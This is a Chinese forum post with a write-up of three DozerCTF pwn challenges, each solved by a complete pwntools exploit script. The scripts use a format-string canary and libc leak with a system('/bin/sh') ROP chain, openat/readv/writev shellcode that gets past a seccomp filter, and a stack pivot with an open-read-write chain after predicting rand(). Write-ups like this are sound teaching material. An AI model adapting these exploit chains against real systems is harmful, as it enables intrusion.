DozerCTF-PWN题解

打印 上一主题 下一主题

主题 867|帖子 867|积分 2601

这次比赛一共放了4道pwn题,3道栈上的,比较菜,只会做栈
1.pwn_fclose
  1. from pwn import *
  2. context(os='linux', arch='amd64', log_level='debug')
  3. io = remote('139.196.237.232',32985)
  4. # io = process("./pwn")
  5. libc = ELF("./libc.so.6")
  6. payload = b"%35$p%37$p"
  7. io.sendline(payload)
  8. io.recvuntil(b"Hello ")
  9. canary = int(io.recv(18), 16)
  10. libc_base = int(io.recv(14), 16) - 0x21C87
  11. print(f"libc_base: {hex(libc_base)}")
  12. system = libc_base + libc.symbols["system"]
  13. bin_sh = libc_base + next(libc.search(b"/bin/sh"))
  14. pop_rdi = libc_base + 0x2164f
  15. ret = libc_base + 0x8aa
  16. payload = b"a" * 0xc8 + p64(canary) + b"a" * 8 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)
  17. # gdb.attach(io)
  18. io.sendline(payload)
  19. io.interactive()
复制代码
开了canary和PIE,并且末了clode(1),clode(2)。不过问题不大,printf格式化字符串,泄露canary和libc地址,然后直接栈溢出getshell即可,留意栈平衡。后面就是执行exec 1>&0,就能拿flag了
2.mid_pwn
  1. from pwn import *
  2. context(os='linux', arch='amd64', log_level='debug')
  3. elf = ELF("./pwn")
  4. # openat
  5. shellcode_openat=asm(shellcraft.openat(-100,'./flag'))
  6. shellcode = b"\x90" * 544 + shellcode_openat + asm('''
  7. push 3
  8.     pop rdi
  9.     push 0x1    /* iov size */
  10.     pop rdx
  11.     push 0x100
  12.     lea rbx, [rsp-8]
  13.     push rbx
  14.     mov rsi, rsp
  15.     push SYS_readv
  16.     pop rax
  17.     syscall
  18.     
  19.     push 1
  20.     pop rdi
  21.     push 0x1    /* iov size */
  22.     pop rdx
  23.     push 0x100
  24.     lea rbx, [rsp+8]
  25.     push rbx
  26.     mov rsi, rsp
  27.     push SYS_writev
  28.     pop rax
  29.     syscall
  30. ''')
  31. # 运行shellcode
  32. # p = process('./pwn')
  33. p = remote("139.196.237.232", 33035)
  34. # gdb.attach(p)
  35. p.sendline(shellcode)
  36. p.interactive()
复制代码
禁用了open,read,write和其他特别函数,比方sendfile之类,所以用openat,readv和writev读取,read到栈上读,不过它生成一个随机数再mod544,所以用nop滑板填充544字节即可
3.ez_pwn(我最想吐槽的
  1. from pwn import *
  2. from ctypes import *
  3. io = remote("139.196.237.232", 33010)
  4. # io = process("./pwn")
  5. context(log_level='debug', arch='amd64', os='linux')
  6. libc1 = CDLL("./libc.so.6")
  7. libc = ELF("./libc.so.6")
  8. elf = ELF("./pwn")
  9. time = libc1.time(0)
  10. pop_rdi = 0x4014d3
  11. pop_rsi_r15 = 0x4014d1
  12. ret = 0x401467
  13. leave = 0x401341
  14. libc1.srand(time)
  15. v4 = libc1.rand()
  16. io.send(b"1" * 0x20)
  17. payload = str(v4).encode()
  18. print(v4)
  19. bss = elf.bss() + 0x200
  20. io.sendline(payload)
  21. # gdb.attach(io)
  22. payload = (b"a" * 0x30 + p64(bss - 0x8) + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(pop_rdi) + p64(bss)
  23.            + p64(pop_rsi_r15) + p64(0x300) + p64(0) + p64(0x4012F2) + p64(leave))
  24. io.sendline(payload)
  25. io.recvuntil(b"~~\n")
  26. puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
  27. # puts_addr=u64(io.recv(14).rjust(8,b'\x00'))
  28. # puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  29. # io.clean()
  30. pause()
  31. print(hex(puts_addr))
  32. libc_base = puts_addr - libc.sym["puts"]
  33. print(f"libc_base: {hex(libc_base)}")
  34. system = libc_base + libc.sym["system"]
  35. binsh=libc_base + next(libc.search(b"/bin/sh"))
  36. pop_rsi_ret = libc_base + 0x2601f
  37. pop_rax_ret = libc_base + 0x36174
  38. pop_rdx_r12_ret = libc_base + 0x119431
  39. one_gadget = libc_base + 0xe3b04
  40. open_addr = libc_base + libc.sym["open"]
  41. read_addr = libc_base + libc.sym["read"]
  42. write_addr = libc_base + libc.sym["write"]
  43. payload = p64(pop_rdi)
  44. payload += p64(bss + 0x128)
  45. payload += p64(pop_rsi_ret)
  46. payload += p64(0)
  47. payload += p64(open_addr)
  48. payload += p64(pop_rdi)
  49. payload += p64(3)
  50. payload += p64(pop_rsi_ret)
  51. payload += p64(0x404140)
  52. payload += p64(pop_rdx_r12_ret)
  53. payload += p64(0x100)
  54. payload += p64(0)
  55. payload += p64(read_addr)
  56. payload += p64(pop_rdi)
  57. payload += p64(1)
  58. payload += p64(pop_rsi_ret)
  59. payload += p64(0x404140)
  60. payload += p64(pop_rdx_r12_ret)
  61. payload += p64(0x100)
  62. payload += p64(0)
  63. payload += p64(write_addr)
  64. payload += p64(0)*16
  65. payload += b"./flag\x00\x00"
  66. io.send(payload)
  67. io.interactive()
复制代码
这道题利用了libc的随机数,然后相等能让你进行一次read的溢出获取libc基地址,然后我试过填read的返回地址,结果因为read函数写的地址是由rbp-0x30所决定的,失败了,然后填start重新布局寄存器,却因为无法再次绕过随机数而无法进入栈溢出,然后发现有一个隐藏函数,里面有read,而且我们可以操控它的寄存器的值,所以就想用栈迁移来getshell,结果又不能执行system函数拿到shell,。。。好吧,只能上orw了。感觉这比前面的题难,为什么是ez,难道是我想复杂了??
第4道标题写的VM,不太了解

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

农妇山泉一亩田

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表